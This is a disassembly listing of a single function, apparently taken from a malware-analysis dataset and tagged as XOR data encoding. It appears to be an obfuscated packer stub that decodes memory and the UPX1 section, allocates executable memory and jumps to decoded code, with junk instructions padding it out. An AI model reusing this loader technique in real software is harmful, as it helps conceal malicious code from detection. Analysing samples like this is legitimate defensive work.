Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3517159e
inc ecx
and edi, edi
popal
dec edi
inc edi
mov edx, 0
mov ebx, esi
not ecx
not ecx
add ecx, ecx
mov edi, ebx
mov eax, ecx
not ecx
mov esi, edi
not ecx
sub ecx, eax
add eax, 0xa499e707
inc edx
mov eax, ecx
dec eax
cmp edx, 0x1003d00
jne 0xa789bd
add ecx, 0xe82c8462
mov eax, ecx
inc ecx
inc edi
not edi
mov edi, 0xa78796
or eax, edx
or eax, ebx
mov ecx, 0xa7898a
add eax, 1
dec eax
or ebx, ebx
mov esi, dword [edi]
add eax, ebx
sub eax, 0xaca38fc4
sub ebx, 0x3399cd9e
and esi, 0xff
or ebx, ebx
add eax, edx
add ebx, edx
xor dword [ecx], esi
add ebx, 0x455e631d
add edx, ebx
add eax, 0x8a19573d
add ecx, 1
mov ebx, edx
mov edx, 0xd2ab5593
inc edi
mov eax, 0xaee4f4e9
add eax, ebx
cmp ecx, entry0
jl 0xa78a0a
add ebx, edx
dec edx
mov edx, 0x54316ec8
sub edx, 0xe4ffeb6a
mov edx, 0x4dde7c26
inc eax
inc esi
or edi, ecx
mov ebx, 0xa7898e
sub edi, ecx
not edx
mov ebx, dword [ebx]
sub ecx, edx
sub edx, 0x416bc56f
mov ebx, dword [ebx]
add edx, 0xa8d9275a
add edi, edx
sub edx, edi
push ebx
mov ecx, edi
sub esi, 0xbbc55f27
mov ebx, 0xa7898a
add edi, 0x14ea79f2
mov edx, edi
mov ebx, dword [ebx]
mov edx, esi
sub esi, 0xe8a06e1f
mov ebx, dword [ebx]
and edx, ecx
sub edi, edx
push 0xa78992
add edi, edx
add edi, 0xf00720a8
sub edi, 1
call ebx
mov esi, 0xb3aa348
or esi, ecx
pop ebx
add edi, 1
sub edx, ecx
sub esp, 4
mov dword [esp], 0xa7899f
sub edi, ecx
sub edx, 1
sub esp, 4
mov dword [esp], eax
not edx
inc ecx
call ebx
sub edx, 0x58c4738c
inc esi
push 0x40
mov edi, 0x5166a52
and ecx, edx
and edx, edx
push 0x3000
sub esi, 0xe60907ae
and edx, ecx
add edi, ecx
push 0x200002ef
or edx, ecx
add edi, edi
or edx, esi
sub esp, 4
mov dword [esp], 0
and ecx, ecx
mov ecx, 0xa83e1cc5
mov esi, edi
call eax
mov edx, 0xddcaa652
dec edx
add eax, 0x20000233
inc edi
or esi, ecx
sub esi, edx
mov ebx, 0xd8fed193
and ecx, ecx
add ecx, edx
mov dword [eax], ebx
and edi, esi
sub edx, esi
mov ebx, dword [eax]
add edi, ecx
add esi, 1
sub ecx, edi
cmp ebx, 0xd8fed193
je 0xa78b74
mov eax, 0
mov bl, byte [eax]
add edi, edi
add edi, 0xb5a5a933
mov edi, 0x5b5723ca
and esi, edi
dec edx
not esi
sub edi, 0x13ffaf4c
mov edi, ecx
add ecx, edi
mov eax, section.UPX1
and ecx, ecx
and edi, edi
sub ecx, 0xf6b73c76
mov esi, 0xa78795
not edi
add edi, 0x23bb5284
mov edx, 0
and edi, ecx
sub edi, ecx
mov ebx, 0xa78796
not ecx
add ecx, ecx
mov ecx, 0xf935b74f
lea ebx, [ebx + edx]
mov ecx, edi
or edi, ecx
mov ebx, dword [ebx]
mov edi, ecx
mov edi, 0xb914adad
add ecx, 0xfd93cec6
and ebx, 0xff
and edi, edi
add edi, edi
inc edx
add edi, 0x97562faf
and edi, edi
cmp edx, 0x1f4
jne 0xa78bf9
mov edx, 0
not ecx
inc ecx
sub ecx, edi
sub edi, 0x31701d6
sub edi, 0xeb66ed4f
sub ecx, edi
xor dword [eax], ebx
or edi, edi
sub ecx, 1
add eax, 2
and edi, ecx
add edi, ecx
sub edi, ecx
cmp eax, esi
jl 0xa78bb5
add ecx, 0xf5cbd4ff
sub edi, 0x7f76771d
and edi, edi
mov ecx, edi
not edi
mov ebx, section.UPX1
sub edx, 0xad2e6a7c
or edi, edi
not edx
mov esi, section.UPX1
sub edi, edx
not edi
add edx, edx
mov ecx, 0xa78795
sub edi, 0x1faaa406
add edx, edx
sub edi, edx
mov eax, 0
add edi, 1
add edi, edi
mov al, byte [esi]
inc edx
and edx, edx
dec edx
mov byte [ebx], al
dec edx
add edi, 0x3409a374
add edi, 0xf07eb49c
inc ebx
sub edi, 0xa22c0622
dec edx
add edx, edi
add esi, 2
mov edi, 0x3d836285
sub edx, edi
cmp esi, ecx
jle 0xa78c72
sub edx, 0xadcac105
not edx
sub edi, ecx
sub ecx, 0x49898816
sub ecx, 1
push 0x8dc6a0
sub ecx, edi
mov edi, 0x299fd9f
and edi, edi
ret